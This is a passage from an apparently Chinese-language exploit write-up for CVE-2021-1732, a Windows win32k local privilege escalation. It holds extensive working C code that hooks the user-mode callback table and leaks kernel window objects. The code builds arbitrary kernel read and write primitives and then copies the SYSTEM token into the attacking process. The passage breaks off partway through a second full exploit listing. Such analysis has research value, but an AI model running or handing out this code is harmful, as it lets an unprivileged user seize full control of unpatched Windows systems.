while (GetMessage(&msg, hwnd, NULL, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}

ValidateHwndEx返回tagWND结构体指针,后续调用win32full!xxxSetWindowLong,前三个参数就是我们调用SetWindowLong的三个参数,区别是第一个参数变成了ptagWND结构体指针。

10.png

然后进入xxxSetWindowLong,首先需要对参数nIndex进行一些判断,首先不能<0,然后肯定也不能超过当时定义窗口类的额外空间大小。

11.png

主要满足两个点,但是这里的FC偏移处到底代表啥呢,在什么条件就不为0了呢。

  • nIndex<0
  • nIndex+4 < cbWndExtra,这里为什么+4也很好理解,因为nIndex是long类型,4个字节,要赋值,所以最大能赋值的地址,肯定需要比最后的地址小4。

继续调试,到了找地址的地方,然后赋值了。
12.png

可以看到有两种找到最终地址的方式,实际上就是上面调试两个函数提到的方式,主要的判断方式还是为dwExtraFlag & 0x800 是否为0。

  • dwExtraFlag & 0x800 !=0时,采用桌面堆寻址方式,最终地址=pExtraBytes + nIndex + DeskHeapBase。
  • dwExtraFlag & 0x800 ==0时,采用用户空间寻址,也就是CreateWindowsEx函数中,我们调用xxxClientAllocWindowClassExtraBytes申请到的空间地址+nIndex。

漏洞点

上面分析了这么多函数,现在也能轻易的明白漏洞点了,漏洞点就在于xxxSetWindowLong()函数的两种寻址方式上,大部分正常情况下,我们都是使用的xxxClientAllocWindowClassExtraBytes函数申请的内存,然后进行赋值,但是这个函数实际上是在用户层申请的内存空间,我们可以hook这个函数,而且恰巧的是,存在ConsoleControl这个函数,让我们可以修改dwExtraFlag,这将导致xxxSetWindowLong()函数的寻址方式改为寻找内核桌面堆的某块地址,如果再可以修改nIndex或者pExtraBytes的值,就可以实现对内核的某块地址进行赋值操作。

当然漏洞点是简单,容易理解的,但是我们最终的目标是利用,实现提权的操作,想做到这点还需要解决一系列问题

  • 首先是如何hookxxxClientAllocWindowClassExtraBytes的那个用户层回调函数。

  • 然后是ConsoleControl函数,这个函数的参数需要窗口的句柄,但是我们往往调用的时候是需要再CreateWindowsEx中hook掉xxxClientAllocWindowClassExtraBytes进行调用ConsoleControl,这时候还没有窗口句柄。

  • 其次是如何利用漏洞点,让我们可以随便修改或者读取我们想要的内存。

  • 对于这种任意地址读写的漏洞,该如何实现提权。

这些问题还得需要从exp,从代码中找到答案。

EXP编写

Hook xxxClientAllocWindowClassExtraBytes

这里个人感觉应该是有多种hook方式的,exp采用的方式是修改KernelCallbackTable的函数地址来达到hook的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//hook  xxxClientAllocWindowClassExtraBytes

//获取 KernelCallbackTable gs段寄存器 0x60位置为PEB
// PEB 偏移0x58位置为KernelCallbackTable
DWORD64 KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60u) + 0x58);


// 0x3d8位置为函数 user32!_xxxClientAllocWindowClassExtraBytes:
g_oldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3D8);// 0x3d8位置为函数

DWORD dwOldProtect;

VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, 0x40u, &dwOldProtect);
*(DWORD64*)(KernelCallbackTable + 0x3D8) = (DWORD64)g_newxxxClientAllocWindowClassExtraBytes;
VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, dwOldProtect, &dwOldProtect);

我们自己也需要重写一下_xxxClientAllocWindowClassExtraBytes。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DWORD64  g_newxxxClientAllocWindowClassExtraBytes(DWORD64 *a1)
{
DWORD64 dwTemp = *a1;

if (dwTemp == g_nRandom)
{
g_offset_0x1 = 1;
HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);
printf("MagciHwnd==%p\r\n", hwndMagic);
if (hwndMagic)
{
g_pfnNtUserConsoleControl(6i64, &hwndMagic,0x10);
QWORD qwRet = g_Thrdeskhead_cLockobj_Min;
g_pfnNtCallbackReturn(&qwRet, 24i64, 0i64);
}
}
DWORD64 dwTest = *((PULONG64)*(a1 - 11));
return g_oldxxxClientAllocWindowClassExtraBytes(a1);
}

作用就是如果是magic类的窗口,就钩取,执行UserConsoleControl(),改变此窗口的寻址模式,变为内核桌面堆寻址,其中UserConsoleControl()参数窗口句柄后面来讲如何获取。

获取窗口句柄

获取窗口句柄需要用到一个技术——HMValidateHandle技术,这个技术再Windows10 RS4前,都可以使用。

HMValidateHandle 是user32.dll的一个导出函数. 它以一个句柄和一个句柄类型作为参数,通过查找句柄表,如果句柄与类型匹配,它将把对象复制到用户内存中。如果对象包含一个指向自身的指针,就像tagWND它可以用来从内核中泄漏内存地址。

先来看看tagWND结构体是如何初始化的,通过CreateWindowsEx的调试,我们知道,是通过win32kbase!HMAllocObject来初始化的,分析下这个函数。

13.png

14.png

这些可以帮助我们更理解tagWND这个结构体,而且这个内核对象确实也包含了一个指向自己的指针,满足HMValidateHandle技术的使用条件,而且这个函数是在xxxClientAllocWindowClassExtraBytes前调用的,这代表在xxxClientAllocWindowClassExtraBytes调用前,tagWND内核对象的内存已经分配好了,配合HMValidateHandle技术,就可以泄露出tagWND结构体成员中的hwnd,就可以调用UserConsoleControl()了。

所以大概步骤如下

  • 首先获取HMValidateHandle函数的地址。
  • 然后创建一些normal窗口,调用HMValidateHandle传入窗口句柄,其会将内核对象复制到用户内存,根据代码来看,实际上返回的是ptagWNDk,通过VirtualQuery函数检索对应地址的页面内存信息。
  • 接下来销毁掉一些窗口,留下对我们漏洞利用需要的两个normal窗口,至于其他的就先销毁掉,再次创建一个magic窗口,就会使用这些毁掉的窗口内存,感觉有点linux中fast bin那种味道。
  • 这个magic窗口的cbWndExtra是和normal窗口不同的,在hook _xxxClientAllocWindowClassExtraBytes函数时,可以通过这个来判断那些窗口需要hook。
  • 创建magic窗口,触发hook,检索我们销毁那些窗口的页面内存信息,找到magic窗口的特征cbWndExtra,从而定位到magic窗口的hwnd。

代码到内存布局在展示出来。

内存布局

我们需要精心构造内存布局,让我们完成读写内存的操作,读完代码会发现,真的非常巧妙。

任意地址写

我们需要3个窗口,标号为0,1,2。

  • 第0个窗口,是normal窗口,但是在其创建好后,调用ConsoleControl修改其寻址方式。
  • 第1个窗口,是normal窗口,不改变其寻址方式,最后我们将通过这个窗口来实现任意地址读。
  • 第2个窗口,magic窗口,会被hook,hook时,会调用ConsoleControl修改其寻址方式。

接下来,操作这3个窗口的内存,步骤如下。

  • 创建magic窗口2过程中, tagWNDk2.pExtraBytes的值是未知的,但可以知道是基于内核桌面堆的一个偏移值,代表窗口2的扩展内存相对于桌面堆的偏移,但是,为了能控制窗口1的tagWNDk0空间,我们需要将其修改为ptagWNDk0->OffsetToDesktopHeap,这个值我们是可以通过HMValidateHandle技术泄露出来的,我们在hook过程中通过控制NtCallbackReturn函数,修改tagWNDk2.pExtraBytes为ptagWNDk0->OffsetToDesktopHeap,此时窗口2的扩展内存变成了窗口0的tagWNDk
  • 现在我们可以通过窗口2访问窗口0的tagWNDk0,这时候我们先修改ptagWNDk0->pExtraBytes为ptagWNDk自身相对于桌面堆的偏移,断掉窗口0的扩展内存,因为通过这个扩展内存偏移我们无法去访问其他窗口的内存。我们等下的目的是能通过窗口0,去访问窗口1的tagWNDk1空间。但是现在有个问题窗口0访问不到窗口1的tagWNDk1,但是我们知道访问大小限制是通过cbWndExtra决定的,所以我们可以先通过窗口2修改ptagWNDk0->cbWndExtra。
  • OK,没了大小限制,现在我们可以通过窗口0去修改窗口1的tagWNDk1.pExtraBytes,随意设置要修改的内存地址,而且窗口1的寻址方式是正常的,窗口1调用SetWindowLongPtrA,设置好要修改的值,就可以修改任意地址的值了。

这里画了张图片,方便理解,这里我默认窗口0在上面,真实情况不一定,但是貌似内核桌面堆的扩展内存好像都偏上。

20.png

测试代码如下,目的是修改一个数的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
#include <Windows.h>
#include <stdio.h>
#include <time.h>

typedef void* (NTAPI* lHMValidateHandle)(HANDLE h, int type);
lHMValidateHandle pHmValidateHandle = NULL;

typedef DWORD64(NTAPI* fnxxxClientAllocWindowClassExtraBytes)(DWORD64* a1);
fnxxxClientAllocWindowClassExtraBytes OldxxxClientAllocWindowClassExtraBytes = NULL;

typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, HWND* pHwnd, int nConsoleInformationLength);
fnNtUserConsoleControl g_pfnNtUserConsoleControl = NULL;

typedef DWORD64(NTAPI* fnNtCallbackReturn)(DWORD64* a1, DWORD64 a2, DWORD64 a3);
fnNtCallbackReturn g_pfnNtCallbackReturn = NULL;

namespace CVE_2021_1732
{
DWORD64 g_nRandom = 0;
HWND g_hwnd[10] = { NULL };
HWND g_hwndMagic = NULL;
DWORD64 g_ptagWNDk[10] = { NULL };
DWORD64 g_ptagWNDK_min = NULL;
DWORD64 g_ptagWNDK_max = NULL;
HWND g_hwnd_min = NULL;
HWND g_hwnd_max = NULL;
DWORD OffsetToDesktopHeap_min = NULL;
DWORD OffsetToDesktopHeap_max = NULL;
DWORD64 g_qwMinBaseAddress = 0;
DWORD64 g_qwRegionSize = 0;
DWORD testnum = 0;
}

using namespace CVE_2021_1732;



BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}

BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}

unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;

}

HWND GuessHwnd(DWORD64* pBaseAddress, DWORD dwRegionSize)
{
DWORD64 qwBaseAddressBak = *pBaseAddress;
DWORD64 qwBaseAddress = *pBaseAddress;
DWORD dwRegionSizeBak = dwRegionSize;
HWND hwndMagicWindow = nullptr;

do
{
while (*(WORD*)qwBaseAddress != g_nRandom & dwRegionSize > 0)
{
qwBaseAddress += 2;
dwRegionSize--;
}

//获取不到才会走下面的步骤

if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000)
{
qwBaseAddress = qwBaseAddress + 4;
DWORD64 qwSub = qwBaseAddressBak - qwBaseAddress;
dwRegionSize = dwRegionSizeBak + qwSub;
}

hwndMagicWindow = (HWND) * (DWORD*)(qwBaseAddress - 0xc8);
if (hwndMagicWindow)
{
break;
}

} while (true);



return hwndMagicWindow;

}


DWORD64 MyxxxClientAllocWindowClassExtraBytes(DWORD64* a1)
{
DWORD64 dwTemp = *a1;

if (dwTemp == g_nRandom)
{
HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);

printf("MagciHwnd==%p\r\n", hwndMagic);


if (hwndMagic)
{
g_pfnNtUserConsoleControl(6i64, &hwndMagic, 0x10);
DWORD64 qwRet = OffsetToDesktopHeap_min;

g_pfnNtCallbackReturn(&qwRet, 24i64, 0i64);
}
}

DWORD64 dwTest = *((PULONG64) * (a1 - 11));

return OldxxxClientAllocWindowClassExtraBytes(a1);
}

BOOL HookClientAllocWindowClassExtraBytes()
{
BOOL bRet = TRUE;
DWORD dwOldProtect;

g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");
g_pfnNtCallbackReturn = (fnNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn");

//获取 KernelCallbackTable gs段寄存器 0x60位置为PEB
// PEB 偏移0x58位置为KernelCallbackTable
DWORD64 KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60u) + 0x58);
// 0x3d8位置为函数 user32!_xxxClientAllocWindowClassExtraBytes:
OldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes) * (DWORD64*)(KernelCallbackTable + 0x3D8);// 0x3d8位置为函数


VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, 0x40u, &dwOldProtect);
*(DWORD64*)(KernelCallbackTable + 0x3D8) = (DWORD64)MyxxxClientAllocWindowClassExtraBytes;
VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, dwOldProtect, &dwOldProtect);

return bRet;
}


LRESULT __fastcall MyWndProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
if (a2 != 2)
return DefWindowProcW(a1, a2, a3, a4);
PostQuitMessage(0);
return 0i64;
}


BOOL InitWindowsClass()
{
int WndNum = 10;
int i = 0;
struct _MEMORY_BASIC_INFORMATION Buffer = {};

srand(time(0i64));
g_nRandom = (rand() % 255 + 0x1234) | 1;

WNDCLASSEXW wndClass = {};

wndClass.lpfnWndProc = (WNDPROC)MyWndProc;
wndClass.cbSize = 80;
wndClass.style = 3;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0x1000;
wndClass.hInstance = GetModuleHandleW(0i64);
wndClass.lpszClassName = L"normalClass";
ATOM g_lpWcxNormal = RegisterClassExW(&wndClass);
//g_nRandom
wndClass.cbWndExtra = g_nRandom;
wndClass.lpszClassName = L"magicClass";
ATOM g_lpWcxMagic = RegisterClassExW(&wndClass);
for (i = 0; i < WndNum; i++)
{
g_hwnd[i]= CreateWindowExW(
WS_EX_NOACTIVATE,
(LPCWSTR)(unsigned __int16)g_lpWcxNormal,
L"windows",
0x8000000u,
0,
0,
0,
0,
0i64,
NULL,
GetModuleHandleW(0i64),
0i64);
g_ptagWNDk[i] = (DWORD64)pHmValidateHandle(g_hwnd[i], 1);

VirtualQuery((LPVOID)g_ptagWNDk[i], &Buffer, 0x30ui64);

/*
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
*/
if (g_qwMinBaseAddress == 0)
{
g_qwMinBaseAddress = (DWORD64)Buffer.BaseAddress;
g_qwRegionSize = (DWORD64)Buffer.RegionSize;
}
else
{
if (g_qwMinBaseAddress > (DWORD64)Buffer.BaseAddress)
{
g_qwMinBaseAddress = (DWORD64)Buffer.BaseAddress;
g_qwRegionSize = (DWORD64)Buffer.RegionSize;
}
}
}

if (*(DWORD*)((char*)g_ptagWNDk[0] + 8) < *(DWORD*)((char*)g_ptagWNDk[1] + 8))
{
g_ptagWNDK_min = g_ptagWNDk[0];
g_ptagWNDK_max = g_ptagWNDk[1];
g_hwnd_min = g_hwnd[0];
g_hwnd_max = g_hwnd[1];
}
else
{
g_ptagWNDK_min = g_ptagWNDk[1];
g_ptagWNDK_max = g_ptagWNDk[0];
g_hwnd_min = g_hwnd[1];
g_hwnd_max = g_hwnd[0];
}

OffsetToDesktopHeap_min = *(DWORD*)(g_ptagWNDK_min + 8);
OffsetToDesktopHeap_max= *(DWORD*)(g_ptagWNDK_max + 8);

//改变窗口0的寻址方式,变为桌面堆寻址
g_pfnNtUserConsoleControl(6i64, &g_hwnd_min, 0x10);

for (int i = 2i64; i < 10; ++i)
DestroyWindow(g_hwnd[i]);

g_hwndMagic = CreateWindowExW(
0x8000000u,
(LPCWSTR)(unsigned __int16)g_lpWcxMagic,
L"Magicwnd",
0x8000000u,
0,
0,
0,
0,
0i64,
NULL,
GetModuleHandleW(0i64),
0i64);

SetWindowLongW(g_hwndMagic, 0x128, OffsetToDesktopHeap_min);
SetWindowLongW(g_hwndMagic, 0xC8, 0xFFFFFFF);
printf("testnum address : %p\n", &testnum);
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + 0x128 - OffsetToDesktopHeap_min, (LONG_PTR)&testnum);
printf("testnum old value : %x", testnum);
SetWindowLongPtrA(g_hwnd_max, 0, 0x1234);
printf("testnum new value : %x", testnum);

//printf("%lx %lx \n", OffsetToDesktopHeap_min, OffsetToDesktopHeap_max);
//SetWindowLongW(g_hwndMagic, 0x128, OffsetToDesktopHeap_max);
//printf("testnum address : %p\n", &testnum);
//getchar();
//SetWindowLongPtrA(g_hwnd_min, 0x128, (LONG_PTR)&testnum);
//printf("testnum old value : %x\n", testnum);
//SetWindowLongW(g_hwnd_max, 0, 0x1234);
//printf("testnum new value : %x", testnum);


getchar();
return TRUE;

}

BOOL Init_CVE_2021_1732()
{
BOOL bRet = TRUE;
if (!FindHMValidateHandle()) {
printf("[!] Failed to locate HmValidateHandle, exiting\n");
bRet = FALSE;
return bRet;
}

if (!HookClientAllocWindowClassExtraBytes())
{
printf("[!] Failed to locate HmValidateHandle, exiting\n");
}

InitWindowsClass();
}


/* 程序入口点 */
int main()
{
Init_CVE_2021_1732();

}

可以看到用修改地址用的是SetWindowLongPtrA,这是因为SetWindowLong只能设置DWORD的地址,SetWindowLongPtrA可以设置DWORD64的地址,从第三个参数的大小可以看出。

结果如下。
15.png

实际上上面的代码,还有一部分被注释掉了,这是我分析过程中发现的,貌似不一定需要通过修改cbWndExtra来让窗口0访问窗口1,我们可以修改normal窗口类的cbWndExtra,让其值至少为0x128+8以上的内存,然后让窗口0的扩展内存变为窗口1的tagWNDk1,这样我们同样可以控制窗口0修改到窗口1的tagWNDk1.pExtraBytes。

1
2
3
4
5
6
7
8
printf("%lx %lx \n", OffsetToDesktopHeap_min, OffsetToDesktopHeap_max);
SetWindowLongW(g_hwndMagic, 0x128, OffsetToDesktopHeap_max);
printf("testnum address : %p\n", &testnum);
getchar();
SetWindowLongPtrA(g_hwnd_min, 0x128, (LONG_PTR)&testnum);
printf("testnum old value : %x\n", testnum);
SetWindowLongW(g_hwnd_max, 0, 0x1234);
printf("testnum new value : %x", testnum);

结果如下。
16.png

而且似乎我们可能都不需要窗口1,只用窗口0和窗口2,应该就可以完成写操作。

任意地址读

这里用到的是xxxGetMenuBarInfo函数,感觉这个技术就是为这个漏洞出现的,其原理是xxxGetMenuBarInfo内部会读取*(spMenu + 0x58)保存的地址,然后读取这个地址的值,然后保存到参数pmbi->rcBar中,我们就可以通过参数获取到对应地址的值,显而易见,这个读取的条件是能修改那个地址,正好我们的漏洞可以做到这一点。

GetMenuBarInfo的定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BOOL GetMenuBarInfo(
[in] HWND hwnd,
[in] LONG idObject,
[in] LONG idItem,
[in, out] PMENUBARINFO pmbi
);

typedef struct tagMENUBARINFO {
DWORD cbSize;
RECT rcBar;
HMENU hMenu;
HWND hwndMenu;
BOOL fBarFocused : 1;
BOOL fFocused : 1;
BOOL fUnused : 30;
} MENUBARINFO, *PMENUBARINFO, *LPMENUBARINFO;

查看xxxGetMenuBarInfo函数,我们想实现任意地址读,需要构造spMenu。
17.png

这个肯定和窗口的Menu有关,所以我们创建窗口时肯定需要创建Menu,并按照图片中的判断去构造spMenu。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 伪造spMenu
HANDLE hProcHeap = NULL;

hProcHeap = GetProcessHeap();
g_qwMenu = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0xA0);

*(PDWORD64)(g_qwMenu + 0x98) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x20);
*(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x98)) = g_qwMenu;

*(PDWORD64)(g_qwMenu + 0x28) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x200);
*(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x28) + 0x2C) = 1;
*(PDWORD64)(g_qwMenu + 0x58) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x8);
*(PDWORD)(g_qwMenu + 0x40) = 1;
*(PDWORD)(g_qwMenu + 0x44) = 2;

构造完还不够,我们需要将这个构造的spMenu替换到目标窗口的spMenu上,exp采用了SetWindowLongPtrA函数去设置,当第二个参数nIndex<0时,是可以在额外窗口内存中的指定偏移量设置值,当其值为-12时,是有关于spMenu偏移的设置的。
18.png

为了执行其代码,我们需要让*(ptagWNDk+0x1F)的值满足某些属性,但是这点完全可以通过任意地址写实现。

1
2
3
4
5
6
7
8
DWORD64 qwStyle = *(PDWORD64)(g_ptagWNDK_max + dwStyleOffset);
qwStyle |= 0x4000000000000000;
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle);

SetWindowLongPtrA(g_hwnd_max, GWLP_ID, g_qwMenu);

qwStyle &= ~0x4000000000000000;
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle);

接下来封装一下读取的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DWORD64 MyRead(DWORD64 targetAdress)
{

BYTE qwRet[8] = { 0 };
MENUBARINFO pmbi = {};
pmbi.cbSize = sizeof(MENUBARINFO);

*(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x58)) = targetAdress - 0x40;

//printf("%lx \n", *(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x58)));
if (!GetMenuBarInfo(g_hwnd_max, -3, 1, &pmbi))
{
printf("GetMenuBarInfo error");
}

*(PDWORD)(qwRet) = pmbi.rcBar.left; // 减去 Rect.left,创建窗口时,该值被指定为 0
*(PDWORD)(qwRet + 4) = pmbi.rcBar.top;

return *(PDWORD64)qwRet;

}

测试结果如下。
19.png

替换Token

现在我们有了任意读写的能力,为了实现提权,所需要的就是system进程的Token地址,和本进程的Token地址。

获取pEPROCESS,exp通过的方式是读取spMenu,通过其成员获取pEPROCESS,这里采用另一个exp的方法,可直接获取到system进程的pEPROCESS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
ULONG64 GetNTBase()
{
ULONG64 Base[0x1000];
DWORD dwRet = 0;
ULONG64 ulKrnlBase = 0;

if (EnumDeviceDrivers((LPVOID*)&Base, sizeof(Base), &dwRet))
{
ulKrnlBase = Base[0];
}

return ulKrnlBase;
}

ULONG64 GetSystemProcess()
{
HMODULE hModel = NULL;
ULONG64 ulAddress = 0, ulOSBase = 0, ulRes = 0;

ulOSBase = GetNTBase();

hModel = LoadLibraryA("ntoskrnl.exe");

ulAddress = (ULONG64)GetProcAddress(hModel, "PsInitialSystemProcess");

ulRes = ulAddress - (ULONG64)hModel + ulOSBase;

return ulRes;
}

void PrivilegeEscalatio()
{
DWORD64 qwSytemAddr = GetSystemProcess();
DWORD dwPid = GetCurrentProcessId();
DWORD dwtmpPid = 0;

DWORD64 qwEprocess = MyRead(qwSytemAddr);
DWORD64 qwSystemToken = MyRead(qwEprocess + dwTokenOffset);

do
{
qwEprocess = MyRead(qwEprocess + dwLinkOffset) - dwLinkOffset;
dwtmpPid = MyRead(qwEprocess + dwPIDOffset);
} while (dwPid != dwtmpPid);


SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, qwEprocess + dwTokenOffset);
SetWindowLongPtrA(g_hwnd_max, 0, qwSystemToken);

}

获取到了后,就是读取system的Token,然后遍历链表,然后根据当前进程pid获取到当前进程的EPROCESS,然后获取当前进程的Token,然后进行替换。

修复内存

为了不因为我们修改的内存而产生蓝屏,我们需要修改回去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
VOID FixDate()
{
g_ptagWNDK_Magic= (DWORD64)pHmValidateHandle(g_hwndMagic, 1);
OffsetToDesktopHeap_Magic= *(PDWORD)(g_ptagWNDK_Magic + 8);
DWORD dwFlags = *(PDWORD)(g_ptagWNDK_Magic + dwExtraFlagOffset);
dwFlags &= ~0x800;
DWORD64 qwBuffer = (DWORD64)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_nRandom);

//tagWNDk2
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_Magic + dwExtraFlagOffset - OffsetToDesktopHeap_min, dwFlags);
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_Magic + dwpExtraBytesOffset - OffsetToDesktopHeap_min, qwBuffer);

//tagWNDk1
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, OldpExtraBytes_max);

//tagWNDk0
//SetWindowLongPtrA(g_hwnd_min, dwcbWndExtraOffset, 0x140);
SetWindowLongPtrA(g_hwnd_min, dwpExtraBytesOffset, OldpExtraBytes_min);



DWORD64 qwStyle = *(PDWORD64)(g_ptagWNDK_max + dwStyleOffset);
qwStyle |= 0x4000000000000000;
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle);

SetWindowLongPtrA(g_hwnd_max, GWLP_ID, qwspMenuOld);

qwStyle &= ~0x4000000000000000;
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle);


}

漏洞调试

实际上都没必要进行漏洞调试了,EXP的编写过程中,总是会出现问题,每写一个功能,就调试一下,已经是调试完了,强烈建议,自己从头开始编写一下EXP。

一路下来,我自己编写的exp如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
#include <Windows.h>
#include <stdio.h>
#include <time.h>
#include <Psapi.h>
#pragma comment(linker, "/defaultlib:Psapi.lib")

typedef void* (NTAPI* lHMValidateHandle)(HANDLE h, int type);
lHMValidateHandle pHmValidateHandle = NULL;

typedef DWORD64(NTAPI* fnxxxClientAllocWindowClassExtraBytes)(DWORD64* a1);
fnxxxClientAllocWindowClassExtraBytes OldxxxClientAllocWindowClassExtraBytes = NULL;

